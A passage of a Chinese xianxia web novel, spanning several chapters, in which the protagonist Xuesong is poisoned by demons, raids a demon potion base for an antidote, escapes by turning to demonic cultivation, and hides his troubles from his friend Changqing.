一阵浓雾散开之后, 雪松定睛一看,发现自己被转移到了一片阴暗的黑森林之中,周围只有星星点点的五颜六色的蘑菇, 冒着荧光, 勉强照亮了环境。
他不由得眯了眯眼睛,往笼子外面看去, 之前跑过来抓笼子的模组都松开了手, 一步一步往后退,低下头去, 像是在等待什么。
一个崭新的明显身份地位更高的魔族,从阴影中走了出来, 从其他魔族身边路过, 站在了笼子面前, 好像看起来真是一只鸟一样, 笑眯眯同他挥了挥手,打了个招呼:“你好啊!”
现在这种情形有点诡异了。
雪松一边觉得头皮发麻, 一边冷着脸问他:“你们想干什么?”
那个魔族背着手绕着笼子散起步来, 歪着头,很苍蝇搓手似的兴奋,笑眯眯回答:“听说,你是仙尊的道侣?”
“那又怎么样?”雪松直觉对方是非常笃定这一点的,不打算同他解释什么,只是警惕反问。
“既然是道侣, 怎么能分开呢?虽然仙尊那种人居然也有道理,实在是很不可思议的一件事,不过既然你已经存在了,我觉得, 做这件事情是有必要的——”那个魔族背着手绕着笼子走了起来,这次的速度比之前快多了,整个人兴奋得像一只刚吃了饭就在轮子上跑步的仓鼠,如果脚底下真有轮子,现在已经在咕噜咕的声音里跑出风来了。
雪松被他转得头晕,往后退了一步,在笼子里和他拉开了距离,他猛然间停下来,像是突然决定放弃用风力发电一样,抓住笼子的栏杆,对雪松笑道:“我要送你们团聚!”
雪松听得出来对面的意思,不是把他杀了,送到地底下去见仙尊,而是,反过来,因此感到额头的青筋跳了两跳,完全不能理解,连宗门的那些人都没要他把仙尊复活,一个莫名其妙跑出来的魔族倒干上这事,真是倒反天罡。
“那种事情根本是不可能的!”雪松毫不客气说。
仙尊已经死了,人死是不能复生的,更何况,他就是仙尊,他好端端站在这里,真要是让人搞出一个针对仙尊的复活阵法来,阵法一定会因为不能运转而出现故障!
真要是复活了,复活的究竟是什么东西?不敢想是会造出一个怪物,还是干脆把他的灵魂从现在的身体扯出去,不管哪种都很不妙好吗?!
“我知道人死不能复生,但你也要相信,”魔族笑眯眯松开了抓住栏杆的手,不知从哪抽出一块帕子来,假模假式哭道,“生者可以死,死者可以生,不然,凭什么你们当道侣呢?如果仙尊真的因为你而复活了,那是多么震撼的一件事,多么值得惊讶啊!”
雪松感觉对这种人嘲讽都是浪费力气,面无表情冷冷看着他说:“你死了这条心吧,我是不会干的。”鬼知道他们这些魔族把仙尊复活了之后要干什么!
魔族用帕子擦了擦眼睛,随后笑道:“我知道你的意思,但你以为,我把你弄过来是为了什么?”
雪松感到有什么东西炸开了。
魔族笑眯眯用帕子对他挥了挥,好像在送别天边的一片云一样,语气轻柔,温和而诡异,听起来有种前一秒情人呢喃下一刻就会狠狠咬下别人一片耳朵的感觉:“我可是特意为你选了这个地方!
这里的毒对魔族无效,但是对魔族以外的人是蚀骨之痛,每个月圆之夜,都会让人痛不欲生,知道什么叫求生不能,求死不得吗?七天之后的月圆之夜,你就能感受到了!”
说到这里,那个魔族不受控制似的大笑起来,充满了幸灾乐祸的兴奋和即将看戏的好整以暇,拍拍栏杆,对他说:“该告诉你的我都已经告诉你了,剩下的就靠你自己了,你要是愿意复活仙尊,笼子会把你放出去,你要是不愿意,那就在这儿待到月圆之夜,等死吧!”
那个魔族说完,对其他人挥了挥手,大笑着离去了。森林里只剩下了被笼子关在中间的雪松,一片紫色的迷雾蠕动过来。
他感到喉咙发痒,低下头去使劲咳嗽,不料,好不容易稍稍缓解,就感到喉头一紧,哇的一声,吐了一口血。
这还只是个开始,因为没等他喘过一口气来,他就感到心头一阵剧痛,眼前一黑,晕倒在地上,看来这里确实有很厉害的毒。
等他醒过来的时候,天已经微微亮了,但这个地方似乎本来就是很黑的,不管天怎么亮,地面看起来,都和之前差不多,好像那些草会吸收光一样。
他从地上坐起来,靠在笼子边上,考虑了一下现在的情况,如果他仍然不肯改变主意,那他就得继续被关在这儿,等到七天以后的月圆之夜去死,不过经过昨天一晚上,也许他已经没有七天了。
如果他改变主意,他就得去研究复活的阵法收集材料,进行布置,他倒不是不知道这些,也不是不能收集材料,也不是收集不到,只是不想干,毕竟,他应该不可能召唤出第二个自己,除非,他把灵魂裂开。
可是根本没有那个必要,因为太麻烦了,而且后患无穷,想想吧,一个死了的仙尊被复活出来,多少的事情都等着呢!
如果他假装改变主意,他就可以出去,一边进行阵法的研究和材料的收集,一边暗中寻找解除身体内毒素的办法,也不是不行。
他想清楚了之后,做出终于改变主意的样子,低着头颓然叹了一口气,对身边的笼子道:“我愿意去复活仙尊。”
笼子听懂了他的话,一根一根杆子抽起来,给他开了一扇门,他从打开的部分走出去,回头看了一眼,周围空空如也,好像没有人。
他深吸一口气,迅速加快脚步离开了,没走多远,就在路上碰到了过来寻找他的长青和红色鸟,还有一些一起在附近寻找的本地人。
其中一个是之前在路上见到的老人,老人身边跟着,被雪松用解毒丸救了的误食毒草的年轻人,他们看见雪松的样子都吃了一惊。
毕竟他们是见过雪松没出事之前的样子的,那个时候雪松看起来还很正常,头发没有乱,衣服没有乱,嘴边没有血迹,身上没有腥气和草屑,神色也没有那么疲惫,和现在完全两模两样。
雪松离开笼子之前,还是重新扎了头发,整理了一下衣服,拍了拍衣服上沾着的草屑,擦了嘴角才出来,只是没照镜子,也没用法术,所以,可能有些疏漏。
他对此不是没有预料,只是凭空找一个镜子出来,有点太费事了,要是用法术清理自己,他又因为之前席天幕地露宿躺了一夜累得慌,心口腹腔和喉咙都是痛的,不是很想干,也就这样走出来了。
本来以为还要再走一段时间才能见到人的,结果,他们这么快就找过来了。
雪松把他们看了看,勉强微笑了一下:“你们找我?”
长青点了点头,一脸担忧问:“你去哪儿了?怎么也没见你回去?”
“我……”雪松想了想,真话肯定是不能说的,不然把他们牵扯进来就不好了,但要是说假话,要怎么编才看起来像真的呢。
长青看他一脸迟疑,忽然觉得自己明白了什么,莫不是雪松想要独自纪念仙尊,诉说苦楚,提起因为修为提升而被迫失去的孩子,悲从中来,一时情切,吐血昏迷,前不久才醒,所以恍恍惚惚,顾不得梳洗打扮,才这个时候这样狼狈,出现在这儿?
“你不用说了,”长青拍拍雪松的肩膀,“一定是因为仙尊吧?我们都明白。”
雪松眨了眨眼睛,顺势答道:“那好。”
“先回去休息吧?”长青问。
雪松点了点头,他确实需要好好休息,昨天痛得要命,后来又睡得太死,现在每走一步都觉得身上的关节正在咔咔作响,好诡异的头皮发麻的感觉,他必须要休息!
众人便把雪松送回房间,雪松洗漱之后,换了一身衣服,躺在床上,很快就睡着了,其他人聚集在隔壁长青的房间。
“你之前说明白是明白了什么?”老人疑惑问。
“雪松一定是独自到仙尊曾经居住过的地方,怀念仙尊去了!本来打算天黑之前就回来的,所以出门前看起来一切正常,但是太伤心了,吐血晕过去了,今天才醒过来,所以那么狼狈,也不会想要别人细问,才支支吾吾的!”长青解释道。
其他人连连点头,觉得这个理由很有可能:“原来如此,那就让他好好休息吧。他昨天一看就累坏了!”
雪松一觉醒来,天色渐晚,空中弥漫起橙粉的霞光,他揉了揉眼睛,洗漱一番之后,检查了一下自己的身体。
左手皮肤表面浮起了一个微不可查的淡紫色印记,应该是毒素的显化,如果不处理,过几天就能一眼被看出来了。《 》
60-70
第61章
雪松从系统仓库里翻出来一只魔族毒素解毒药剂, 涂抹在手背上,发现刚才能在光照下看见的痕迹淡化了不少,轻轻松了一口气。
平白无故长出一个那样的痕迹被人看见, 就算不会被认为是魔族, 也会被认为和魔族有联系,到时候要干什么, 可更不好办了。
但他用灵力在体内运转了一个周天, 就紧接着发现,这东西治标不治本, 只能暂时抑制三天,三天之后药剂效果消失, 毒素反而会变本加厉, 卷土重来。
倒霉。
必须立刻开始行动了。
雪松推开门出去, 直奔人群之外, 他记得这附近有一个,对于魔族的毒药挺了解的, 毒药先, 或许这个人可以帮忙。
他敲了敲毒药先的门。
毒药先正在屋子里捣药,看见他进来了,瞥了他一眼,又低下头去,问他:“什么事儿啊?”
雪松找了个位置,坐下说:“魔族有一种毒, 可以使人在月圆之夜痛不欲生,这种毒有什么解药?”
毒药先想了想,把他打量了一番,若有所思说:“这种毒的名字就叫月圆, 解药?我这没有,只有魔族那边才有,因为通常是他们在用,不过——”
毒药先话锋一转:“我知道,附近活动的魔族的解毒药剂,在什么地方。”
“你是说,”雪松挑了挑眉,“你知道魔族的解毒药剂基地?”
毒药先缓缓点了点头。
“能告诉我吗?”雪松望着他问。
“告诉你不是不可以,但是你不能告诉别人是我告诉你的,不然,魔族会来找我报复的,”毒药先认真说,“听着,我不知道你是怎么找到这儿来的,也不知道你是怎么打听到我的,但是,不许告诉下一个。”
雪松点了点头:“我明白,我不告诉别人,也不告诉下一个。”
毒药先把他看了看,递给他一只泛着蓝光的药剂,对他说:“把这个喝下去吧,这个能保证,你不能把今天来找我的事说出去。”
雪松拿在手里,看了一眼,喝了下去,毒药先满意点了点头,稍稍带了点微笑,把一个泛着蓝光的印记交给他:“这是地址,拿去吧,你可以走了。”
雪松看了看印记,站起身来,点了点头,转身离开,顺着手里的印记,他正打算到目的地去,忽然在半路上看见了和红色鸟一起出门的长青,猛然一惊,把手握住,藏起了印记,长青肩头上的红色鸟发现了他。
红色鸟拍了拍长青的肩膀,指了一下雪松的方向,长青转过头,也看见了雪松,对他挥了挥手,向他走了过来。
雪松要是现在离开,有点像是避之不及,之后还要见面的,不太合适,所以顿住了,等他们靠近。
他们很快走到雪松面前,将他看了看,莫名发现他脸色比之前苍白了一点,而且神色也有些憔悴,一只手还握着拳头。
长青有点疑惑问:“你没休息好吗?”你不是睡了一觉,而且睡了挺久的吗?这都没好,要不要去看看大夫?有些病可不是睡一觉就好了,拖久了反而糟糕。
“我休息挺好的。”雪松不想和他们多说。
“那你是不舒服?”长青皱起眉头。
“没有!”雪松摇了摇头。
长青若有所思:“你要去哪儿?”看起来怎么好像有一点着急?可是之前并没有和谁有约定?那能是什么事?
“我要,”雪松想了想,“我要随便逛逛。”
长青将信将疑点了点头:“那要不要一起?”
“不要,”雪松毫不犹豫拒绝了,“速度不一样,走起来很累的。”
“那好吧。”长青点了点头。
“那我走了?”雪松有些惊讶,这么容易就能脱身,看了他一眼,问。
长青点头:“旅店见?”
“到时候见。”雪松点了点头,转身离开,很快在路口不见了。
红色鸟在长青肩头问:“他一看就是要到什么地方去,不可能是逛街的,你为什么不跟着他?”
“他不想让人跟着,还是等他回来再问,”长青转过头,“更何况,一直追问别人不想说的话,也蛮糟糕的。”
“好吧,”红色鸟梳理了一下自己的羽毛,“希望他回来的时候,你也和现在一样。”
没走多远,他们忽然听见雪松来的那个方向传出了陌生人的呼喊,转头看过去才知道,原来有人今天一大早就蹲守在广场墓碑区,仙尊的坟墓后面,打算吓唬自己去探望墓碑的朋友,结果找错了人,被人狠狠揍了一顿,现在正大呼小叫:“好痛好痛好痛啊!那个人真是一点不留情!不就是不小心吓唬了他一下吗?他又没怎么样!居然把人打成这样!真讨厌!知道的呢,他只是一个去扫墓的,不知道的还以为他是仙尊道侣呢!”
这话犹如一道闪电,直劈入长青的脑子里。
仙尊道侣?雪松?怪不得雪松看起来是那个样子!
脸色苍白是因为被吓了一跳,神色憔悴,是因为打了人一顿,握着拳头,大约是刚打完人,还有些生气吧?
难怪不想多说,恐怕是觉得这种事情没什么好说的,毕竟是打人,哪怕揍了别人一顿,说出来也没什么好听的。
更何况,还是在仙尊的坟墓前发生的事,简直像是整件事全程都被仙尊亲眼看见了一样,作为道侣,雪松应该不希望仙尊看见这些事。
不管是因为他想在仙尊面前表现自己最好的一面,还是他希望仙尊能得到所有人的爱戴,遇上这种事,会高兴才奇怪。
想要尽快离开,也是不希望再遇上被自己打了一顿的人,免得又伤心难过一次,还得在众人面前忍耐。
毕竟打第一次可以说是被吓到了,情有可原,要是在众人面前打第二次,就算不会被人认为是无理取闹,也多半会被阻止。
说不定还会给仙尊抹黑,被人说喜欢仙尊的,就这种暴躁易怒的脾气,影响仙尊的名声,还是尽快离开比较好。
“看来雪松急匆匆离开,是因为这件事。”红色鸟啄了啄羽毛说。
“那等他回来就不必问了,免得再让他生气一回。”长青点了点头,表示赞同,回答道。
“我知道了。”红色鸟展了一下翅膀,像伸懒腰似的说。
长青转身离开。
雪松已经按照印记的指示抵达目的地,这里是一间看起来平平无奇的废弃小屋,周围没有人,似乎荒凉很久了。
雪松推开门走进去,里面有一个传送阵,他只感觉眼前一花,下一秒,脚下传来的触感就与之前完全不一样了。
定睛一看,原来他被传送到了一块厚实的山壁面前,这山壁上有一个做得十分隐蔽的门,但这扇门似乎需要什么东西才能打开。
他丢了一个鉴定术过去,发现这扇门要的是一滴血,血液必须来自一个发过誓,而且至今誓言牢不可破的人。
他想了想,抽出一根针扎了一点自己的血滴了过去,虽然他没跟什么人发过誓,但是他跟系统发过誓,系统至今还绑定着他,应该算是牢不可破吧?先试一试再说。
那滴血滴在门上,门把手转动起来,门在他面前缓缓打开了,里面是一条狭长的通道,他往里走了进去。
里面又是一扇门,这一扇门的开启要求是,念出自己的誓言,雪松对门低声道:“我愿意。”系统问他要不要绑定的时候,他就这么说的,现在一时半会儿他还真想不出新的来,将就用吧,万一能开呢?反正之前也开了,这次应该也一样吧?
果然,话音未落,第二扇门轰隆一声,在他面前打开了。
他往里走去,里面的墙上是一排架子,架子上密密麻麻摆着,一堆的药剂,这些药剂五颜六色,一时间还真认不出来哪一个是他要的。
他往面前的架子,丢了一个鉴定术,发现一个蓝幽幽的药瓶,是他要的那种解药,立刻打开盖子喝了下去。
一阵剧痛从五脏六腑传来,他一时没站稳,跪倒在地上,皱着眉头,重新对药品丢了一个鉴定术,发现这个东西,副作用是喝下去,五分钟内会受到剧痛,身体僵硬,无法正常行动。
与此同时,发现基地被开启的魔族联络挂在墙角隐蔽处的蜘蛛魔宠一看,发现了躺在基地地面上的入侵者雪松,禁不住冷笑起来。
“我当是什么呢?原来是个小贼!吃到苦头了吧?真以为这里是什么来去自如的地方吗?我魔族的基地,是那么好来的?这可不是他宗门!”冷笑的魔族骂道。
另一个旁观的说:“他是怎么开的门?这可奇怪了!我们每次进去都非得发誓会忠于魔族才行,他冲谁发的誓?现在还牢不可破?”
第三个魔族摸了摸下巴:“据说,他是仙尊的道侣,那他发誓的对象一定是仙尊了,把记录调出来看看?”
于是,他们看见了雪松进第二扇门的画面:“果然是对仙尊发的誓!”
第62章
一般人发誓, 不都是说我会永远爱你,永远忠于你,永远对你不离不弃吗?谁会说什么愿意不愿意的话呢?
除非, 他发誓的时候不是对别人发誓, 也不是对某个存在的概念发誓,而是, 在别人发完誓之后跟着发誓, 而且是表同意用的。
那说这种话就很有可能了。
这和结婚誓言有什么区别?甚至,比结婚誓言更简略, 更进退有余。
虽然在发誓的时候,可进可退是不应该的, 因为这会影响誓言的忠诚度, 但如果是两个人一起发誓, 其中一个给另一个留足了余地, 究竟有没有感情,就可见一斑了。
“怪不得他是仙尊的道侣呢, ”摸下巴的魔族似笑非笑说, “在发誓言的时候,也全心全意考虑自己,在人群中倒是少见,仙尊喜欢他,难道是因为,稀奇吗?”
“我们还是通知其他人去抓他吧, 正好还有五分钟,够我们的人赶过去了,”另外一个魔族看了看时间说,“让他跑了可不好。”
第三个魔族拿着一个巴掌大的海螺, 点了点头:“我已经通知在附近的同伴了,他们说会立刻赶过去的,五分钟以内,那个家伙应该跑不了。”
另外两个点头道:“那我们在这看着就行了。”
与此同时,雪松勉强从地上爬起来,感觉剧痛正在随着时间流逝逐渐消失,关节的僵硬程度也在减轻,摸了摸因为之前的撞击而有些发麻的膝盖,深吸一口气,勉强站了起来,扶着墙踉踉跄跄出去。
这里毕竟不是安全地点,他还是尽快离开比较好,就在这个时候,他猛然间发现,外面已经出现了往这里爆冲过来的人影。
他吃了一惊,立刻把眼前的门关上了,关上的一瞬间,门就被敲响了,似乎还有撞击声,浓郁的魔气从门缝里溢了出来。
他迅速摸索了一下,尝试着把门反锁,但是他知道,外面来的,多半是收到通知过来抓捕他的魔族,肯定有开门的办法,这扇门坚持不了多久,不是被强行损坏,就是被用他们本来就设置好的办法,直接打开。
他用目光将整个房间扫视了一圈,发现角落里有一圈麻绳,不知道是干什么用的,边上还沾着血迹,但看起来十分坚固。
他立刻上去,把绳子拿在手里试了试,确认这不是绣花枕头,立刻把绳子缠绕在门上,做了一个非常简单的抵挡,应该可以让门多撑一会。
做完这些,他松了一口气,坐在地上,感到浑身上下都因为短时间的强行过度运动而酸痛,有一瞬间几乎要昏睡过去。
但一头撞在门上,他又醒了过来,现在不是睡觉的时候,门后面的声音停了一下,那些魔族似乎确认了什么消息,在门后对他颇为胸有成竹说:“你喝下去的药剂所引起的疼痛,现在还没完全消除吧?身体还是僵硬的吧?房间里面没有任何其他出口,你还是乖乖把门打开,现在出来投降,我们可以放你一条生路,药的事情慢慢谈,怎么样?”
雪松并不相信他们的话,毕竟魔族是一向不讲信用的,而且他们以此为傲,如果真相信了他们,恐怕下场就凄惨了。
更何况,他忽然发现不远处的角落里,有一个幼童般的头颅,头颅雪白而圆润,只有巴掌大,乍一看十分不起眼,可能会被忽略过去,但仔细看的时候就能发现,这东西和周围的药剂瓶子一点都不一样。
也许这是什么开关!
雪松爬了过去,把手放在那头颅上,尝试着拧了一下,被头颅里面喷出来的漆黑色的魔气刺了一巴掌,立刻把手收了回去,低头一看,手上被魔气划了个口子,已经开始流血。
他立刻意识到,这东西恐怕又是魔族的专属物品,普通的方法是打不开的,正用蜘蛛旁观着房间里的动静的魔族们见此情形,不由得幸灾乐祸,哈哈大笑起来。
“他还以为我们魔族的基地是随便来的呢!我们魔族的地方,怎么可能用他们那些伪君子的设施设备?那不是在自己家里给自己使绊子吗?又不是有病!”
“可不是吗?那里的防护措施可严密了,不管有多么浓郁的魔气,都不会随便泄露出去,我们可是专门为了在里面开怀畅饮所布置的防护阵法,绝对没有任何问题!不会让他轻易逃走的!”
“再有一分钟,反锁的门就会被打开了,我不相信,他能从那个头颅上看出什么,就算他真用这东西打开了我们的秘密通道,那通道完全展开,也至少要半分钟,他来不及跑的!咱们只管等着,把他抓了庆祝就是了!”
另外两个魔族听了这话,都只是点头说,有道理,有道理。
他们正在高兴,却忽然发现,雪松把牙一咬,做了个他们从来没有见过的手势,像是施法的前兆,立刻就安静了。
空气里可闻针落的时候,他们亲眼看见,雪松身上猛然间爆发出了冲天的魔气,完全就是逆转经脉重修后,直接把自己从法修变为了魔修的表现!
旁观的魔修大惊失色,张了张嘴,有许许多多的话想说,一时竟什么也说不出来,只是目瞪口呆,大跌眼镜。
雪松不管这那的,把自己强行转化为魔修之后,就立刻动用自己的魔气,重新把手按在了地上的那个骷髅头上。
虽然他不知道具体应该怎么做才能打开这里可能存在的潜藏的通道,但是,东西已经在他手上,只要试一试哪边更松,怎么才能调动,不就可以明白,究竟要怎么做,才能出去吗?大丈夫岂能不知变通!
只听咔嚓一声,好像什么东西碎掉了,又好像什么东西打开了,一阵白光闪过,面前摆满瓶子的架子缓缓挪开,一个黑漆漆的通道出现在眼前,显然,这就是离开的路!
魔修果然给自己留退路!狡兔都有三窟,每次都像滑不溜秋的泥鳅一样难以抓住的魔修,怎么可能把自己锁死在房间里?
雪松拍了拍手站起身来,身上的疼痛已经减弱许多,虽然身后,被反锁了的门传来了开锁的声音,似乎即将被推开,但是已经没有什么好担心的了!
因为通道就在眼前,他可以直接进去,没必要再锁门,之前的那条绳子应该还可以在门被打开之后再抵挡一会,他有的是时间出去。
咔嚓一声,身后的门被打开了,雪松也进入了通道,很快,他的身形就消失在一片浓重的黑暗中,如同被巨兽吞噬的一条五颜六色的小鱼诱饵。
门完全被打开了,兴致勃勃的魔修冲了进去,结果一头撞在缠绕起来的绳子上,吓了一跳,还以为自己撞上了不知什么时候生长在房间里的有毒藤蔓,连忙挥手抵挡,一边往后退一边叫:“别挤,别挤,别冲!有什么东西在我头上!他在抓我!这东西有力气!”
后面的魔修也跟着被叫声和挥舞着手臂的前排吓了一跳,连忙往后退,结果险些退出去,在明亮的天光下定睛一看,才发现根本没有什么东西追出来,松了一口气之后,小心翼翼重新往前走,结果这一次发现,不仅没有藤蔓,连人也没有,又气又急又好笑,又觉得无可奈何,扶了一把额头,开始拆绳子。
总算进了房间之后,把通道一检查,人早就不见了,又开始检查房间,除了最开始被喝掉的那一瓶,其他的药剂都好端端的,一点没被损坏。
魔修们都有些唏嘘,不知道应该先感慨,进来的人居然不搞破坏,还是应该先震惊,只有魔修能够打开的通道,居然被一个法修打开了。
“还追吗?”魔修们面面相觑,向同伴问道。
“虽然他可能已经跑走了,但还是检查一下通道吧,万一他藏在里面呢?”另外一个魔修回答。
他们检查了通道,没有发现什么,重新加固了基地,填补了隐蔽和防御阵法,开始讨论追杀的事情。
“就这样让他跑了,实在是很不甘心,不管他跑到哪里,我们去追杀他吧?总不能让他拿了东西,就那么轻易逃走!”
“是啊,万一他把这个地方告诉别人怎么办?虽然已经加固过了,迷幻阵法也加上了,但如果能处理掉他这个不稳定因素,总是更好的。”
魔修们讨论之后一致同意,对逃走的雪松进行追杀,开始沿着他的痕迹寻找。
已经跑回旅店的雪松狠狠打了个哆嗦,虽然身体已经不那么疼痛了,但他完全可以预感到,魔修们多半会在二十四小时之内向他追杀,不管他逃到哪里都一样。
那些魔修就是有本事无孔不入,像是随时随地都能打洞的老鼠一样。
总之,在他们来之前养精蓄锐吧。
雪松迅速洗漱后躺在床上睡着了。
长青欲言又止看着他进门。那个躲在仙尊坟墓后面的人影响那么大吗?
第63章
雪松一觉醒来已经是深夜, 没有被人打扰,所以他休息得很好,睁开两只眼睛, 感觉自己精力充沛, 从床上爬了起来。
他忽然感觉,脚下的地板有微妙的震动, 仿佛有什么东西正在从地下潜入, 他侧耳听了听,那声音又没有了。
他往地底下丢了一个鉴定术, 发现地下有一条空着的通道,似乎可以直接通往任意楼层的走廊, 一种隐秘的, 潜行的可能。
下一秒, 他感觉到了一种若有若无的东西从门缝里面爬进来了, 眯了眯眼睛,揉了揉鼻子, 胸口开始发闷。
他往门缝处丢了一个法术, 发现空气里,多了一种正在弥漫的,出自魔族的有毒气体,作用是使人神志不清,进而昏厥。
这种气体的来源似乎正在门外的走廊上,他捂了捂鼻子, 往房间内看了一圈,房间里没有什么趁手的兵器,但房间里有窗户。
他把窗户打开,念了个招风诀, 一阵狂风呼啦一下,吹了过来,龙卷风似的在外面刮了一圈,从打开的窗口猛然间挤了进来,一下子撞向了门,把那些气体全都吹跑了。
不过运气不好的是,雪松隐约听见,木头做的房子发出了几声嘎吱的惨叫,好像就是窗户那边,有一点裂开了。
他连忙过去检查,仔细一看,窗户底下确实裂开了,厚实的木板可以看见外面,但是这缝隙还不算太大,不至于立刻让房间垮掉,所以待在里面,勉强也还算安全。
他松了一口气,刚休息了一下,突然就听见隔壁传来了叫喊声:“你怎么了?你醒醒!你别吓我呀!快来人啊,救命啊!有人晕倒了!帮帮忙呀!”
说着说着,隔壁传出了抽泣声,听起来像是因为刚才的气体,而受到了影响,雪松想了想。
如果他不去,或许不会因为走在外面有危险,但如果隔壁的人真的在这个时候死掉了,他多半是脱不了干系的,恐怕他以后都会受到影响,还是去看看比较好。
至于隔壁发出的声音是魔族制造的,就为了引他出去踏入陷阱这种可能,也不是没有,但魔族既然使用了有毒气体,应该是认为他多半会吸入气体而中毒,如果他真的中了毒,那就听不了什么声音,魔族在外面制造这样的声音,不是多此一举吗?
所以这种声音是魔族制造的可能性比较小,不用太担心。
雪松深吸一口气,推开门走了出去,走廊上空无一人,好像什么事情也没发生一样,他敲了敲隔壁的门,隔壁的门一下打开。
一个可怜巴巴又眼泪汪汪的年轻女生问:“你是来帮忙的吗?你知道怎么救人吗?”
“我想我可以试试,”雪松点了点头问,“需要救的那个人在哪?”
年轻女生连忙让开,把他拉进房间,关上门,指着床上躺着的那个男人,对他说:“这就是了!麻烦你救救他!他看起来快不行了!真把我吓死了!”
雪松点了点头,一边走过去一边回答:“我看看。”
年轻女生跟在他身后,像只按了发条的玩具青蛙,亦步亦趋,走到床边,一会儿看看床上的人,一会儿看看他,咬了咬嘴唇,皱着眉头,神色格外焦急,但不知道现在说话会不会打扰雪松集中注意力判断情况提供救治,许许多多的话,到了嘴边还是吞回去,满脸欲言又止。
雪松把人检查了一下,确认自己能救,就开始了救治,过了一段时间,松开了手,床上的人猛然间睁开眼睛,大口大口喘起气来,恢复了正常,只是脸色还有些发白,以至于看起来虚弱,但已经比之前好多了。
年轻女生喜极而泣,擦了擦眼泪,十分感激道:“谢谢!谢谢!没有你,我可真不知道怎么办才好!你帮了大忙了!”
“不用客气,”雪松摆了摆手,“那我就先走了?”
年轻女生点了点头:“你慢走。”
雪松向门口走去,刚推开门进入走廊,就忽然感到眼前一黑,像是身体过分虚弱而仍要强行运动后的结果,扶着墙,有一种强烈的眩晕感,下意识张了嘴,想要呕吐。
但他意识到这里并不是合适的地点,连忙捂住了嘴,向走廊尽头的洗手池冲去,忍无可忍,哇哇大吐,等到回过神来,已经满头冷汗。
他一边拧开了有引水法阵的龙头放水,一边洗手洗脸,擦了擦嘴,顺便用手接了点水,把水池边缘的残留物泼了泼,简单清洁了一下,之后迅速离开了。
在打算回房间的走廊上,他一头撞上了长青,猛然间往后退,踉跄了两步,扶着墙都险些摔倒,脸色刷一下白了。
他不想大晚上的被人堵在路上解释啊!
长青看他神色这样憔悴,又一次行色匆匆,皱了皱眉感到疑惑,伸出手想要扶他,同时问:“你怎么了?”
雪松把眼一垂,他现在什么也不想说,那么开始装晕吧,长青总不能在他晕了之后,非要把他摇醒,继续问想要问的问题吧?那有点太残忍了!
于是,雪松踉踉跄跄向他靠近,免得自己摔到地上,抓住他的衣服,张了张口,假装这样回答的样子,在他聚精会神盯着自己想要听结果的时候,把眼一闭,把头一歪,浑身上下的重量撞在他胸口,一副猝不及防晕倒的样子。
长青猛然一惊,连忙把他抱住,使他免于坠地之苦,但像是抱住了一长条猫一样,瞪大眼睛,晃了晃他,发现他真的一点也没有要醒过来的意思,好像完全就是晕倒了,而且不是轻度昏迷,或者过一会儿就会醒来的样子,犹豫了一下,皱着眉头,把他放在了自己房间的床上,扯了点被子盖住他的上半部分和中间,关了门坐在旁边看着他。
好端端的,怎么会突然晕倒呢?难道是因为之前流产之后没有好好弥补身体加之情绪过于激动,就这样了?晕倒这样熟练,可不像是第一次。
这么说,之前不见了的那一次,果然也是在没有人的地方晕倒了,又没有被发现,才会好半天都没有人找到,最后一脸狼狈自己出来吧?
雪松被长青用那种存在感十分强的目光注视了好一阵子,感到头皮发麻,实在没有办法继续假装下去,猛然间从床上睁开眼睛,爬起来,一边捂着头,一边微微皱眉,声音虚弱而沙哑说:“不好意思,刚才发生什么了?我不太记得。”
长青站起身靠近他说:“你刚才在走廊上突然晕倒了,说起来,你大晚上的不睡觉,到那边去做什么?你最近真有点古怪。”
雪松眨了眨眼睛,靠在床头,没想到他看人晕倒之后,居然在人醒过来之后还要问,无可奈何,叹了一口气,低下头说:“其实……”
虽然不知道说什么,但是先随便说点什么,把对方的注意力拉开,不然再这么继续被看下去,他感觉自己都要被钻木取火了。
长青聚精会神望着他,完全想不到他现在在考虑什么。
雪松红着眼眶,假装很不舒服似的,颤抖着睫毛,如同一只被雨水打得无能为力的湿漉漉毛茸茸的小麻雀,低声道:“我今天白天就有点不舒服了。”先铺垫一下。
“这个我知道。”长青想到白天听说有人躲在仙尊坟墓后面吓人的事,点了点头。
雪松有点惊讶,还以为要多说两句,他才会信,望了他一眼,没想到他这么上道,立刻垂着眼睛继续说:“本来以为晚上会好的,没想到更糟糕了,所以去洗手池那边,想要清醒一下,可是我突然想起来——”
长青紧盯着他:“想起了什么?”原来之前还有没想起来的东西吗?他还以为雪松的记忆已经很完整了?
“我好像是忘了吃药……”雪松垂着眼睛,低声说。
“什么药?在哪儿?我替你去找?”长青十分热心。
雪松摇了摇头:“不记得了。”
长青愣了一下。不记得了?那可难找了!不过可以想一想,通常雪松不记得的都是什么事?和仙尊有关的事?
这么说,这次的药也是一样,应该是仙尊留给雪松的,专门用来治疗雪松的病的药。
雪松不知道叫什么,是因为仙尊没有告诉他,雪松不知道在哪,是因为仙尊提前放好了,要的时候会拿给他,不用他自己去拿,他想不出来,也就以为自己不知道。
或者他知道,但是他既不想吃,也不想让别人知道药的位置,所以说不知道,因为不希望别人知道之后,坏了仙尊的名声?
倒是都有可能。
那雪松究竟得了什么病,需要仙尊亲自为他制药,而且是在仙尊活着的时候就开始,到死去之后还有遗留?为什么别人一点都不知道?
一定是很严重,很不舒服,很不能让人知道的,甚至可能只有仙尊才能控制,该不会是,压制外溢魔气的药丸吧?
第64章
长青倒吸一口凉气。
如果雪松真是从魔族魔王手里抢来的人偶, 会有外溢的魔气,再正常也不过了,但如果, 仙尊把雪松带走之后, 要把雪松安置在魔族领地之外,那就必须隐藏雪松身上的魔气, 或者干脆去除掉, 这样才能免去雪松在人群之中因为魔气,被人注视和排挤, 甚至是攻击的可能。
要么使用强硬手段,伤及根本, 要么使用柔和的手段, 那就多半要用药, 以仙尊对雪松的感情, 根本是不可能伤及根本的,那就绝对不能用强制的手段, 这么说, 只可能是用药了。
对于一个被魔王制造的人偶来说,魔气是根本,如果知道是什么药,恐怕就不敢吃了,哪怕并不会伤及性命,毕竟, 一个魔王的人偶,又怎么能去赌仙尊对他是不是好心?
就算知道仙尊与他的曾经,身体的本能没那么容易克服,所以为了雪松考虑, 仙尊不把药丸的真实性质告诉雪松是有可能的。
雪松看着长青在自己说完话之后就陷入沉思,感觉他应该暂时不会再问什么,立刻起身道:“我就不打扰你了。”
“你现在要去哪儿?”长青回过神来。
“回房间去。”雪松回答。
“现在吗?”长青的神色有些担忧。
“现在。”雪松点了点头。
“那我送你?”长青试探着问。
雪松摇了摇头:“不用了,这么近。”
长青想了想,勉强点头:“那好吧。”
雪松推开门出去,回到了自己的房间,一切正常,他把门关上,忽然感到门外有什么鬼鬼祟祟的影子正在飘荡。
